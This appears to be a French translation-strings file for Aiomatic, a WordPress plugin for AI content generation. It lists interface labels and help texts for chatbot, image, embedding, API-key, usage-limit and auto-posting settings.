                    Voir : Augmenter le temps d'exécution maximum à PHP%1$s - Nous recommandons de régler la mémoire sur au moins 64 Mo. Pour savoir comment faire, voir : Augmenter la mémoire allouée à PHP.%s secondes'omatic plugins créés par CodeRevolution(Veuillez augmenter cette valeur si vous souhaitez télécharger des ensembles de données plus importants)(int) - 4 chiffres par année (par exemple 2011).(int) - Jour du mois (de 1 à 31).(int) - Numéro du mois (de 1 à 12).(int) - nombre de messages à modifier. Utilisez 'posts_per_page'=-1 pour modifier tous les messages.(int) - nombre de postes à déplacer ou à faire passer.(int) - utilisez l’ID de la page.(int) - utiliser l'ID de la page. Retourne uniquement les pages enfants.(int,int,int) - utiliser l’ID de l’auteur [utiliser moins (-) pour exclure les auteurs par ID ex. -1,-2,-3](ouvre dans un nouvel onglet)(string) - Clé du champ personnalisé.(string) - Valeur du champ personnalisé.(string) - Désigne l'ordre croissant ou décroissant du paramètre "orderby". La valeur par défaut est "DESC".(string) - Transmet la variable "chaîne de requête" d'une recherche. Par exemple, voir : ce lien.(string) - Permet de trier les messages récupérés en fonction d'un paramètre. La valeur par défaut est "date".(string) - Le statut de l'article à renvoyer. Les valeurs valides sont : publish, pending, draft, auto-draft, future, private, inherit, trash, other-custom-post-statuses(string) - utiliser 'user_nicename' (PAS nom)(string) - utiliser le nom de la page.(string) - utiliser le nom de l'article.(string,string) - Les types de messages à renvoyer. Les valeurs valides sont : article, page, revision, attachment, other-custom-article-types. Pour trouver n'importe quel type de message, entrez le mot-clé : any. La valeur par défaut est article (si elle est vide).(string,string,string) - utilisez des slugs de catégorie au lieu de noms. (string,string,string) - utiliser les slugs des balises au lieu des noms. * = obligatoire+ Plus, cliquez pour plus de détails ://1.envato.market/aiomatic//coderevolution.ro0-3511010-2501024x10242256x256338045512x5125806789Un indicateur indiquant que seules les images adaptées à tous les âges doivent être renvoyées.Une nouvelle version de cette extension est disponible.Une sélection de plugins, mis en avant pour vous.Sélecteur de fournisseurs de services d'API d'IA :Paramètres de l'IA :Assistant de l'IAPénalité de fréquence de l'assistant IA :Paramètres généraux de l'assistant IA :Assistant IA Réglages de l'image :Taille de l'Image générée par l'Assistant IA :Modèle d'assistant d'IA :Pénalité de présence de l'assistant d'IA :Assistant IA de Prompts :Placement des résultats de l'assistant IA :Assistant de Température de l’IA :Paramètres de complétion de texte de l'assistant IA :Assistant IA Top_p :Tutoriel vidéo sur l'assistant de l'IA :Assistant de l'IA :Couleur de fond de la Bulle IA :Chatbot IADétails de la configuration du chatbot IAIA Chatbot Options de style par défaut :Limitations du chatbot IA :Options de modération du chatbot IA :Paramètres du chatbot d'IA :Chatbot IA video TutorielRépondeur de commentaires AITutoriel vidéo sur le réplicateur de commentaires AI :Rédacteur de commentaires sur l'IAModèle de rédacteur de commentaires AI :Rédacteur de commentaires du prompt par l'IA :Paramètres du rédacteur de commentaires AI :Tutoriel vidéo sur l'éditeur de contenu AI :Options de complétition de contenu IA :Paramètres du créateur de contenu AI :Paramètre de l'Éditeur de contenu IATempérature de l’éditeur de contenu IA :Éditeur de contenu IA Top_p :Tutoriel vidéo sur l'éditeur de contenu AIContenu IA Nombre minimum de caractèresContenu IA Nombre minimum de caractères :Options de réécriture de contenu par l'IA :Rédacteur Température de contenu IA :Éditeur de contenu IA Top_p :Intégrations IAParamètres d'indexation automatique des AI Embeddings :Paramètres d'optimisation des enregistrements AI :Paramètres d’intégration/Embeddings de l’IA :Paramètres du modèle d'intégration AI :IA Premier message :Couleur de police IA :Formulaires IAOptions d’image libre de droits :IA Forms Importer/ExporterOptions des formulaires IA :Restrictions du Formulaires IA :Style du formulaire IA :Pénalité de fréquence de l'IAPénalité de fréquence de l'IA :Généré par l'IAContenu généré par l'IAExtrait généré par l'IAOptions d'images en vedette générées par l'IA :Redimensionner la hauteur de l'image générée par l'IA :Image générée par l'IA Redimensionner la largeur :Taille de l'Image générée par l'IA :Images générées par l'IAGénéré par l'IARésultats générés par l'IAChamps SEO générés par l'IAMeta Description SEO générée par l'IATags générés par l'IATitre généré par l'IATaille de l'Image générée par le Chatbot IA :Paramètres du chatbot d'IA :Nombre d'images IAImage AI à partir du sélecteur ci-dessousParamètres du générateur d'images IA :IA Image SourceSource de l’image IA :Images IAAccès à l'internet de l'IAParamètres d’accès à Internet IAExtensions de la bibliothèque multimédia AI :Modèle d'IAModèle d'IA pour le générateur de catégories :Modèle d'IA pour le générateur de contenuModèle d'IA pour le générateur de contenu :Modèle d'IA pour le générateur d'extraitsModèle d'IA pour le générateur d'extraits :Modèle d'IA pour le générateur d'introductionModèle d'IA pour générateur d'Intro :Modèle d'IA pour générateur de la conclusionModèle d'IA pour générateur de la conclusion :Modèle d’IA pour le générateur de Tag de messages :Modèle d'IA pour le générateur de texteModèle d'IA pour le Q&R (questions et réponses) :Modèle d’IA pour le générateur de sectionsModèle d’IA pour le générateur de sections :Modèle d'IA pour le générateur de texte :Modèle d'IA pour le générateur de catégories :Modèle d'IA pour le générateur de catégoriesModèle d'IA pour le générateur de commentaires :Modèle d’IA pour le générateur de titresModèle d’IA pour le générateur de titres :Modèle d’IA pour le générateur de Tag de messagesModèle d'IA pour le générateur de balises/Tags :Modèle d'IA pour le générateur de texteModèle d'IA pour le générateur le texte du titreModèle d'IA pour le générateur de titresModèle d'IA pour le générateur de titre :Modèle d'IA pour le générateur de texte du titre :Options du modèle d'IAModèle d’IA à utiliser pour l’édition de texte :Modèle d’IA à utiliser :Formation sur les modèles d’IAModèle d'IA *Modèle de modération de l’IA :Nom de l’IA :Terrain de jeu de l'IAPénalité de présence de l'IAPénalité de présence de l'IA :Prompt de l'IARestrictions de l'AI pour les utilisateurs connectés :Restrictions de l'AI pour les utilisateurs non connectés :Paramètres de l'IAShortcodes et formulaires IARédacteur de la description de la taxonomie de l'IADescription de la taxonomie de l'IA Modèle du rédacteur :Description de la taxonomie de l'IA à la rédaction du Prompt :Taxonomie AI Description Paramètres du rédacteur :Tutoriel vidéo sur la rédaction d'une description de taxonomie AI :Description de la taxonomie de l'IA Rédacteur :Taxonomie AI SEO Description Writer Model :AI Taxonomy SEO Description Ecriture du Prompt :AI Taxonomy SEO Meta Writer Paramètres :Température de l'IATempérature de l’IA :IA Top_pIA Top_p :Limites d'utilisation de l'IAOptions du rédacteur AIÉditeur d'IA pour la sensibilisation à l'envoi de mails :Cible des rédacteurs d'IACoût de l'appel à l'API (USD)Nombre d'appels à l'APIClé API (facultatif)Clé API  :Clés APIClés API (une par ligne) :Nombre de jetons APIDans les paramètres du plugin (en fonction du service choisi). Vous pouvez le faire en accédant à l'onglet "API keys" (clés d'API) ci-dessus. Dans cet onglet, vous trouverez également des clés d'API supplémentaires à ajouter, commeClé API ouNombre maximum de tentatives de l'APIUtilisation de l'API pour ce compte d'utilisateur : APrice:BasàHautChamps de saisie ci-dessusTemps absolu :Clé d'accès (en option)L'acquisition du plugin Aiomatic n'inclut aucun crédit OpenAI. L'achat d'Aiomatic vous donne accès aux fonctionnalités avancées du plugin, mais ne couvre aucun crédit API. Vous devrez acheter séparément du crédit OpenAI ou un abonnement à AiomaticAPI.ActionActionsActiver la licence du PluginActifExtensions activesActivité et journalisationJournal d'activité :Journaux d'activitésActeur Source de l'image URL :Ajouter un nouveau formulaire IAAjouter un nouveau champ de saisie dans un formulaireAjouter une vidéo connexe à la fin de l’articleAjouter une vidéo à la fin de l'article :Ajoutez une vidéo YouTube pertinente à l'articleAjoutez une vidéo YouTube pertinente à l'article :Ajouter du contenu généré par l'IA :Ajouter du contenu généré par l'IA : Cette option permet d'ajouter ou de pré-ajouter automatiquement du contenu généré par l'IA aux messages.Ajouter une image à chaque titre de l'articleAjoute une image à chaque titre de l'article :Ajouter des Articles Q&R (questions et réponses)Ajouter des Articles Q&R (questions et réponses) :Ajouter une table des matières à la section de l'articleAjouter une table des matières à l'article :Ajouter une nouvelle source d’artcileAjouter des images de produits à l'articleAjoutez des images de produits à l'article :Ajouter des titres de produits au contenu en tant queAjoutez des titres de produits au contenu en tant que :Ajouter des sections au contenu en tant queAjouter des sections au contenu en tant que :Ajouter la vidéo YouTube à l'articleAjoutez la vidéo YouTube à l'article :Ajoutez un contexte au chatbot IA, afin qu'il sache comment agir et comment répondre aux clients. Vous pouvez définir ici la langue, le ton de la voix et le rôle de l'assistant AI. Tous les autres paramètres peuvent également être définis ici. Ce texte sera ajouté à chaque conversation, afin de fournir à l'IA des informations supplémentaires sur vous ou sur son comportement. Ce texte ne sera pas affiché aux utilisateurs, il sera uniquement envoyé au chatbot. Vous pouvez également utiliser des shortcodes dans ce champ. Liste des shortcodes supportés : %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. Vous pouvez également utiliser des champs personnalisés (post meta) qui sont assignés aux articles à l'aide de shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données importées du champ personnalisé post_data, vous devez utiliser ce shortcode : %%!post_data!%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande seed - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Exemple de Pompt pour obtenir l'IA --- Article : "%%post_content%%" Discussion : Ajouter une liste de titres (un par ligne) à utiliser dans les articles générés. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins).Ajouter une liste d'URLs d'images (une sur chaque ligne) à utiliser dans les articles générés. - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins).Ajouter un nom de menuAjouter un nouvel embedding/encastrement :Ajouter un nouveau formulaire :Ajouter un promptAjouter une vidéo YouTube à la fin du contenu de l'article créé. Cette fonctionnalité nécessite l'ajout d'au moins une clé API YouTube dans le champ "Paramètres principaux" -> "YouTube API Key List" du plugin.Ajoutez une période de temps entre le moment où le plugin lancera l'importation selon un calendrier. Pour désactiver cette fonctionnalité, laissez ce champ vide. Cette fonction est basée sur le fuseau horaire et l'heure de votre serveur. L'heure actuelle de votre serveur est : Ajouter ou retirer des sources d’articlesAjouter le modèle de shortcode %%web_results%%Ajouter le Prompt modifiéAjoute ton embedding de réécriture d'intégrationCatégorie d'article supplémentaireCatégorie d'article supplémentaire :Balises Tags de publication supplémentairesBalises Tags de publication supplémentaires :Administrateurs UniquementParamètres avancés de l’API IAOptions avancées du générateur de texte IAParamètres avancés de l’API :Options de Prompts avancéesParamètres avancésOutil des Paramètres de remplacement de mots-clés d’affiliation :AfricainAfrikaans (Google Traduction)Après avoir créé votre API Pinecone, créez un nouvel index. Veillez à définir votre dimension à 1536 et votre métrique à cosinus. Saisissez l'ID de l'index généré ici.Une fois que vous avez configuré tous les paramètres à votre convenance, n'oubliez pas de cliquer sur le bouton "Enregistrer les modifications" au bas de la page.Ensuite, vous devez ajouter votreAiomatic - Champs SEO générés par l'IAAiomatic - Rédacteur automatique de contenu d'IARédacteur de contenu AIomatic IARédacteur produit Aiomatic AIChat AiomaticCron aiomatiqueEmbeddings axiomatiquesAiomatic ImagesAiomatic PlaygroundShortcodes et formulaires AiomaticAiomatic est un plugin WordPress complet qui exploite les capacités de l'intelligence artificielle pour créer du contenu, des chatbots, des images, de l'audio, et plus encore. Cette suite IA tout-en-un comprend des fonctionnalités telles que Custom ChatGPT, Content Creator, Automatic Content Generator, AI Assistant, AI Forms, Image Creator, Audio Converter, SEO enhancer, AI Training, Embeddings, et plus encore, toutes alimentées par GPT-3, GPT-3.5 et GPT-4.Aiomatic est un outil puissant qui peut vous aider à générer du contenu de haute qualité créé par l'IA pour votre site WordPress. Que vous soyez un blogueur, un spécialiste du marketing ou que vous cherchiez simplement à automatiser votre processus de création de contenu, Aiomatic a tout ce qu'il faut pour vous aider à démarrer.Aiomatic propulse ta médiathèque vers de nouveaux sommets grâce à l'extension AI Media Library. Avec l'extension 1, tu peux générer automatiquement du texte alt, des légendes et des descriptions pour tes images, ce qui te permet d'économiser un temps et des efforts précieux. L'extension 2 apporte encore plus de puissance en suggérant des balises et des mots-clés pertinents pour tes fichiers multimédias, ce qui garantit un référencement et une découvrabilité optimaux.Aiomatic utilise cette bibliothèque pour redimensionner les images et accélérer le temps de chargement de votre sitePage d'assistance d'AiomaticAlbanaisAlbanais (Google Traduction)ToutToutes les sources d’articlesTous droits réservésTous les encastrements/EmbeddingsTous les fichiersTous les réglages finsTous les formulairesTexte alternatifTexte AlternatifIdentifiant associé à Amazon (facultatif)Identifiant associé à Amazon (facultatif) :Récapitulatif des produits AmazonTutoriel sur les produits AmazonOptions de recherche sur AmazonAmazon Pays cibleAmazon Pays cible :AmhariqueAmharic (Google Traduction)Une erreur s'est produite.Une alternative à l'échantillonnage avec température, appelée échantillonnage par noyau, où le modèle prend en compte les résultats des jetons ayant la masse de probabilité la plus élevée. Ainsi, 0,1 signifie que seuls les jetons comprenant les 10 % de masse de probabilité les plus élevés sont pris en compte. Nous recommandons généralement de modifier ce paramètre ou la température, mais pas les deux.Une erreur inconnue est survenue. Veuillez réessayer plus tard!Une erreur interne a été rencontrée, veuillez réessayer plus tard !Et c'est tout ! Votre plugin Aiomatic est maintenant configuré pour éditer automatiquement vos articles à l'aide de l'IA. N'oubliez pas que vous pouvez toujours revenir en arrière et modifier ces paramètres si vous trouvez que l'édition automatique ne fonctionne pas tout à fait comme vous le souhaitez.AnimauxToutApparemment, il n'y a pas de mise à jour à montrer !Ajouter du texte à toutes les Prompts textuelles de l'IAAjouter du texte à toutes les Prompts textuelles de l'IA :Ajouter à la finAppliquer pour n'importe quel posteAppliquer pour tout abonnementArabeArabe (Google Traduction)Êtes-vous sûr de vouloir effacer la liste en cours ?Êtes-vous sûr de vouloir supprimer tous les messages générés ? Cette opération peut prendre un certain temps, veuillez patienter jusqu'à ce qu'elle soit terminée.Êtes-vous sûr de vouloir supprimer tous les journaux ?Êtes-vous sûr de vouloir restaurer les paramètres par défaut du plugin ?ArménienArménien (Google Traduction)Prompt d'introduction de l'articlePrompt d'introduction de l'article :Prompt de Conclusion de l'articlePrompt de Conclusion de l'article :Texte d'en-tête de la section d'articleTexte d'en-tête de la section d'article :Prompt Q&R (Question Réponse) de l'articlePrompt Q&R (questions et réponses) de l'article :Texte d'en-tête du Q&R (Question Réponse) de l'articleTexte d'en-tête du Q&R (Question Réponse) de l'article :Prompt de sections d’articleArticle Sections Prompt :Texte d'en-tête de la table des matières de l'articleTexte d'en-tête du Q&R Question Réponse) de l'article :AscendantEn passantAssammeseAssammese (Google Traduction)Assigner la langue WPML/Polylang aux articlesAssigner la langue WPML/Polylang aux articles :Attributs SEO de l'attachement :Licence d’attributionAttribution de la licence - NoDerivsAttribution de la licence non commercialeAttribution de la licence - NonCommercial-NoDerivsAttribution de la licence - NonCommercial-ShareAlikeAttribution de la licence - ShareAlikeAudioProfil de périphérique audio :AustralieClé d'authentification (facultatif)AuteurID d’auteur :Noms des auteurs :AutoAjouter automatiquement des catégoriesAjouter automatiquement des catégories :Ajouter automatiquement des balises / TagsAjout automatique de balises / Tags :Modèle Template d'intégration automatique :Générer automatiquement le titre de l'article en fonction des sujets (optionnel)Générer automatiquement le titre de l'article en fonction des sujets (optionnel) :Définir automatiquement une image vedette pour les articles (Sélectionnez la source ci-dessous)Définir automatiquement une image en vedette pour les articles (sélectionnez la source ci-dessous) :Balises SEO automatiques écrites par l'IA pour les éléments de la bibliothèque multimédia :Édition automatique du contenuÉdition automatique des messages existants :Options de liens automatiques (Linking)Type de liaison automatique (linking)Type de liaison automatique (linking) :Ajouter automatiquement aux articles une description SEO générée par l'IA :Ajouter automatiquement aux articles une description SEO générée par l'IA.Ajouter automatiquement des catégories aux articles :Ajouter automatiquement des commentaires aux articles :Ajouter automatiquement des commentaires aux articles : Cette option permet d'ajouter des commentaires aux articles.Ajouter automatiquement des liens internes : Cette option permet d'ajouter automatiquement des liens internes aux articles.Ajouter automatiquement des Liens aux articles :Ajoutez automatiquement des balises/Tags aux articles :Effacer automatiquement les journaux après :Traiter automatiquement les messages lorsqu'ils sont :Exécuter automatiquement les règles uniquement entre ces périodes d'une heure chaque jour :Traduire automatiquement le contenu vers :DisponibleRaccourcis disponibles :Nombre moyen d'avis de clientsAymaraAymara (Google Traduction)AzerbaïdjanaisAzerbaïdjanais (Google Traduction)Point de terminaison Azure (Endpoint)Point de terminaison (Endpoint) Azure OpenAI :Retour à la listeCouleur d’arrière-plan :Arrière-plansFichier de sauvegarde (*.json)BambaraBambara (Google Traduction)BasqueBasque (Google Traduction)Veillez à toujours sauvegarder les paramètres que vous modifiez.BiélorusseBiélorusse (Google Traduction)BengaliBengali (Google Traduction)BhojpuriBhojpuri (Google Traduction)GrasGras et italiqueBosniaqueBosnien (Google Traduction)Bas du contenu de la rubriqueBrésilBâtimentsIntégré - Qualité moyenne - GratuitExtracteur de mots-clés intégré par Langue :Shortcodes intégrésBulgareBulgare (Google Traduction)Paramètres d’édition IA en vrac :Créateur d'articles IA en vracParamètres du créateur de posts IA en vrac :Tutoriel Bulk AI Post Creator => Créateur d'articles en vracLa création d'une intégration en masse peut nécessiter un grand nombre de jetons de modèle d'IA ! Veillez à vérifierLa modification des messages en vrac peut consommer un grand nombre de jetons de modèle d'IA ! Veillez à vérifierBirmanBirman (Google Traduction)EntrepriseNom du client :Par défaut, le plugin tentera de traduire en anglais les Prompts de l'image AI. Si vous ne publiez que du contenu en anglais sur votre site, vous pouvez désactiver cette fonctionnalité pour accélérer le traitement des images.Échelle CFG :Outil de préparation des données CLICanadaAnnulerImpossible de trouver l'identifiant de ce commentaire !LégendeTexte de la légendeHaut-parleur de voitureCatalanCatalan (Google Traduction)Noms des catégories :Attention ! Ceci est uniquement à des fins de débogage !CebuanoCebuano (Google Traduction)CentreModifier le statut de l'article après l'avoir modifié :CaractèresChatNombre de nouvelles tentatives de fin de conversation par chat :Hauteur du formulaire de chat :Formulaire de chat Min-Hauteur :Largeur du formulaire de chat :Espace réservé pour la saisie de chat :Texte du bouton d’envoi des entrées de chat :Nombre maximum de tentatives de l'API de fin de chatContexte du chatbotParamètres du contexte du chatbot :Contexte du chatbot :Style par défaut du chatbotExtension Email du Chatbot :Extensions du chatbotFonctionnalité du ChatbotParamètres généraux du chatbot :Paramètres d’injection globaux du chatbot :Emplacement du chatbot :Options du modèle de chatbot :Modèle de chatbot :Modération de chatbotIcône d’ouverture du chatbot :Aperçu du chatbotParamètres du chatbotChatbot ShortcodesOptions de stylisation du chatbot :Température du chatbot :Chatbot Text-to-Speech/VideoOptions de synthèse vocale et de vidéo du chatbot :Chatbot Top_p :Chatbot Website InjectionLargeur du chatbot :Consultez ce tutoriel détaillé étape par étape et également ce tutoriel vidéo pour obtenir des informations sur la configuration et l'utilisation de Microsoft Azure OpenAI API dans Aiomatic.Consultez ce tutoriel vidéo pour en savoir plus sur l'utilisation de cette fonctionnalité.Consultez les vidéos des tutoriels des onglets ci-dessus !Contrôler et vérifier les éléments ajoutés et les gérer pour s'assurer qu'ils sont corrects.Vérifier les mises à jourConsultez la page Statistiques Cochez cette case si la clé API ci-dessus est une clé de plan gratuit DeepL. S'il s'agit d'une clé PRO, décochez cette case.Consultez ce lien pour plus de détailsCochez cette case pour forcer le plugin à créer des brouillons d'articles avant qu'ils ne soient entièrement publiés. Cela peut vous aider à utiliser d'autres plugins tiers avec les articles publiés automatiquement.Case à cocherChichewaChichewa (Google Traduction)ChinoisChinois simplifiéChinois simplifié (Google Traduction)Chinois traditionnelChinois traditionnel (Google Traduction)Choisissez parmi la source la plus utiliséeChoisissez la fréquence à laquelle vous souhaitez vérifier automatiquement la présence d'anciens messages. Cela modifiera l'heure de programmation du cron.Choisissez si vous souhaitez effacer automatiquement les journaux après un certain temps.Choisissez si vous souhaitez améliorer l'importation d'images libres de droits en utilisant les services ci-dessous. Ceux-ci extrairont les mots-clés du texte original et fourniront des images de meilleure qualité. Si vous sélectionnez TextRazor, vous devez également saisir une clé API TextRazor ci-dessous. Si vous sélectionnez OpenAI, vous devez également saisir une invite pour l'extraction de mots-clés OpenAI, ci-dessous. Pour permettre à TextRazor d'être sélectionné, veuillez entrer une clé API pour TextRazor ci-dessous.Choisissez si vous souhaitez recevoir un résumé de l'exécution de la règle pa E-mail.Choisissez si vous voulez exiger un seul mot de la "liste des mots requis" pour que l'article soit accepté.Choisissez si vous voulez ignorer la vérification des titres d'articles en double lors de la publication de nouveaux articles. Si vous cochez cette case, les titres des articles en double seront affichés ! N'utilisez donc cette option que lorsque c'est nécessaire.RéinitialiserEffacer la liste des règles en ExécutionCliquez ici pour obtenir le pluginCliquez sur l'onglet "OpenAI Status" dans la section "Limits and Statistics". Ici, vous pouvez voir les incidents signalés de la part d'OpenAI et l'état de leur service API. Cela peut vous aider à résoudre les problèmes liés aux services d'IA fournis par le plugin. N'oubliez pas que la fonction " Limites et statistiques " est un outil puissant pour gérer et surveiller l'utilisation du plugin Aiomatic. En comprenant comment utiliser cette fonction, vous pouvez vous assurer que vos services d'IA sont utilisés de manière efficace et responsable.Cliquez sur l'onglet "Graphiques d'utilisation" dans la section "Limites et statistiques". Ici, vous pouvez voir des graphiques qui représentent le nombre d'appels, le nombre de jetons utilisés, le coût d'utilisation et le nombre d'images d'IA générées. Ces graphiques fournissent une représentation visuelle de l'utilisation du plugin au fil du temps, ce qui vous aide à comprendre les tendances et les modèles d'utilisation.Cliquez sur l'onglet "Limites d'utilisation" dans la section "Limites et statistiques". Ici, vous pouvez définir des limites d'utilisation pour les utilisateurs connectés et non connectés. Vous pouvez fixer des limites basées sur l'utilisation de jetons, l'utilisation de prix ou l'utilisation du nombre d'appels. Vous pouvez également créer des règles de limitation d'utilisation. Par exemple, vous pouvez limiter le nombre de requêtes qu'un utilisateur peut effectuer pendant une période donnée. Le plugin Aiomatic peut être intégré au plugin "Ultimate Membership Pro". Cela vous permet de fixer des montants d'utilisation différents pour les membres qui ont adhéré à des plans d'adhésion différents. Vous pouvez également limiter l'utilisation en fonction du rôle de l'utilisateur. Par exemple, vous pouvez autoriser les administrateurs à faire plus de demandes que les utilisateurs ordinaires.Cliquez sur l'onglet "Journal d'utilisation". Vous verrez un tableau avec les colonnes suivantes :Préréglage du guidage des clips :Choisir un panelCodeRevolutionColonnesListe séparée par des virgules d'identifiants de messages à modifier.Nombre de commentairesListe des E-mails pour les commentaires :Commentaire Répondu :Liste des URL des commentaires :Liste des noms d'utilisateurs des commentaires :TerminéConversions terminéesAchèvementOrdinateurLes icônes d'état de fonctionnement des règles vous posent problème ?ContenuÉdition de contenuLangue du contenuLangue du contenu :Paramètres de contenuContenu du PromptContenu du Prompt :Contenus des TemplesContenu et titreContinuer à créer des articles avec l'IAConvertirCopiez les images générées par l'IA localement sur votre serveur :Copier la description de la taxonomieCorseCorse (Google Traduction)Rédigez une méta-description succincte et attrayante en anglais pour votre WordPress %s : "%s". Mettez l'accent sur les caractéristiques et les avantages notables en seulement 155 caractères, en incorporant des mots-clés pertinents pour optimiser ses performances en matière de référencement.Créer des réglages finsCréez une description captivante et complète en anglais pour votre site WordPress %s : "%s". Plongez dans les détails spécifiques, en soulignant les caractéristiques uniques de ce sujet, si possible, les avantages et la valeur qu'il apporte. Rédigez un récit convaincant autour du %s qui captive le public. Utilisez le langage HTML pour la mise en forme, incluez des listes non numérotées et des caractères gras. Style d'écriture : Créatif. Ton : neutre.Créez un titre SEO captivant et concis en anglais pour votre site WordPress %s : "%s". Améliorez sa visibilité dans les moteurs de recherche avec des mots-clés pertinents pour un impact maximal.Créé leCréé le :Nombre minimal de caractères du contenu créé :Type de CréditCroateCroate (Google Traduction)Vignette actuelleModèles actuellement pris en charge à utiliser dans les shortcodes :Actuellement, l'éditeur d'IA étant en version bêta, il se peut qu'il ait des difficultés à éditer des textes plus longs. Si vous rencontrez ce problème, vous pouvez limiter la taille du morceau envoyé à l'éditeur d'IA (en caractères). Laissez ce champ vide si l'édition fonctionne bien dans votre cas.Actuellement, en raison d'un problème avec l'éditeur IA, il arrive qu'il supprime des parties du contenu HTML que vous lui envoyez pour qu'il le modifie. Le plugin Aiomatic peut vérifier si cela se produit et ne pas modifier le message dans ce cas. Si vous cochez cette case, le contenu modifié sera publié, même s'il manque certaines balises HTML. Souhaitez-vous publier le contenu édité même si l'éditeur IA a supprimé tout ou partie du contenu HTML du texte ?Personnalisation de shortcodes pour le contenu généré par l'IA. Si vous souhaitez créer du contenu à partir de plusieurs Prompts IA, et les utiliser dans le contenu de l'article/les champs personnalisés de l'article/les taxonomies, vous pouvez le configurer à partir d'ici. De plus, ces shortcodes pourront être utilisés dans les champs personnalisés ou les taxonomies personnalisées que le plugin créera. Syntaxe de ce champ : shortcode_name => IA_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (pour spécifier plusieurs shortcodes et valeurs de crawling, séparez-les par une nouvelle ligne. Exemple : my_custom_shortcode => text-davinci-003 @@ Ecrivez un petit poème. Ensuite, vous pouvez utiliser les shortcodes dans n'importe quel champ de paramétrage qui supporte les shortcodes (ex : 'HTML Text To Append To IA Created Content' champ de paramétrage), comme ceci : %%my_custom_shortcode%%. Le format officiel est %%name_of_custom_shortcode%%Construire un chatbot personnaliséHTML personnaliséHTML personnalisé #1HTML personnalisé #2Code HTML personnalisé #1 :Code HTML personnalisé #2 :Code HTML personnalisé / Code publicitaire :Nom du modèle personnaliséNom personnaliséCréateur de Shortcode / Code court personnalisé (facultatif)Créateur de Shortcode / Code court personnalisé (facultatif) :Champ personnalisé supprimé.Champ personnalisé mis à jour.TchèqueTchèque (Google Traduction)D-IDGénérateur d'images DALL-E 2DDIMDDPMDOMDocumentDOMDocument est nécessaire pour le plugin Fusion Builder pour fonctionner correctement.DOMDocument:Dall-E 2 ImageDanoisDanois (Google Traduction)Convertisseur de donnéesJeu de données (*.csv)Jeu de données (*.jsonl)DateDate de publication AscendantDate de publication DescendantDate de prise AscendantDate de prise DescendantY-m-d H:i:sJourDemande jour :Clé d’authentification DeepL Translator (facultatif)Par défautParamètres API par défautParamètres API par défaut :Chat Mode par défaut :Liste des images vedettes par défautListe des images vedettes par défaut :Modèle par défautDéfinissez le lien que vous souhaitez voir apparaître pour le mot-clé défini. Laissez ce champ vide si vous souhaitez uniquement remplacer le mot-clé spécifié sans créer de lien à partir de celui-ci.Définit la longueur maximale d'une variable qui est enregistré par le biais d'une requête POST.SupprimerRetarder l'édition de l'article de (secondes) :Délai entre plusieurs demandes d'API :SupprimerSupprimer tous les ancrages / EmbeddingsSupprimer tous les formulairesSupprimer tous les articles générésSupprimer tous les Articles générés par ce plugin :Supprimer le journalSupprimer les emboîtements / Embeddings sélectionnésSupprimer les formulaires sélectionnésSupprimer ce champ ?En fonction de la fonctionnalité que vous recherchez, assurez vous de naviguer dans le menu respectif du plugin Aiomatic, où vous trouverez un onglet "Tutoriel" pour chacune des fonctionnalités disponibles dans le plugin. Vous y trouverez également un tutoriel vidéo, avec une description détaillée de la fonctionnalité que vous êtes en train de configurer.DescendantDescriptionTexte de descriptionInformations détaillées sur le système :DivehiDhivehi (Google Traduction)Désactiver l'IA Assistant :Désactiver l'utilisation de IA Writer pour obtenir plus de titres :Désactiver le scraping de Bing Search pour obtenir plus d'en-têtes :Désactiver l’édition des 'Types de publication personnalisés' :Désactiver l’édition des 'Pages' :Désactiver l’édition des 'Articles' :Désactiver la modification des catégories sélectionnées :Désactiver l'édition des balises sélectionnées :Désactiver l'extension Media Library :DésactivéNe pas tenir compte de ce message pour toujoursAffichés sur les pages de la pièce jointe.Affiche si oui ou non WordPress est en mode débug.N'ajoutez pas de catégories inexistantesN'ajoutez pas de catégories inexistantes :Ne pas ajouter de balises/Tags inexistantes :Ne pas ajouter de catégorieNe pas vérifier les titres en double :Ne pas randomiser l'Ordre des résultats des images libres de droits : Ne pas choisir au hasard l'ordre des sources libres de droits, mais utiliser l'ordre ci-dessous : Ne pas rechercher par licences photoNe pas faire spiner / tourner le contenu mais seulement le titre :Ne pas tourner les messages générés par cette règleNe pas tourner les messages générés par cette règle :Ne pas traduire les publications générées par cette règleNe traduisez pas les publications générées par cette règle :Vous appréciez notre plugin ? Donnez-lui une note sur CodeCanyon, ou consultez notre site web pour d'autres plugins intéressants.Souhaitez-vous retarder l'édition automatique de l'article posté de ce nombre de secondes à partir de la publication de l'article ? Cela créera une tâche cron unique pour chaque article (cron est nécessaire pour que cela fonctionne). Si vous laissez ce champ vide, les articles seront automatiquement filés lors de leur publication.Souhaitez-vous ajouter automatiquement des catégories d'articles à partir des éléments du flux ?Souhaitez-vous ajouter automatiquement des catégories d'articles à partir des articles générés ?Souhaitez-vous ajouter automatiquement des étiquettes de messages à partir des éléments du flux ?Souhaitez-vous ajouter automatiquement des étiquettes de message à partir des éléments générés ?Voulez-vous traduire automatiquement le contenu généré à l'aide de Google Translate ?Voulez-vous copier localement sur votre serveur les images générées par IA ?Souhaitez-vous supprimer cette règle ?Voulez-vous désactiver l'édition automatique des "custom post types" de WordPress ?Voulez-vous désactiver l'édition automatique des "pages" de WordPress ?Voulez-vous désactiver l’édition automatique des « Articles » WordPress ?Voulez-vous désactiver l'édition automatique des catégories WordPress ?Voulez-vous désactiver l'assistant d'intelligence artificielle du plugin ?Voulez-vous désactiver l'extension Media Library du plugin ?Souhaitez-vous activer la recherche élargie d'images libres de droits ?Souhaitez-vous activer les commentaires pour les messages générés ?Voulez-vous activer 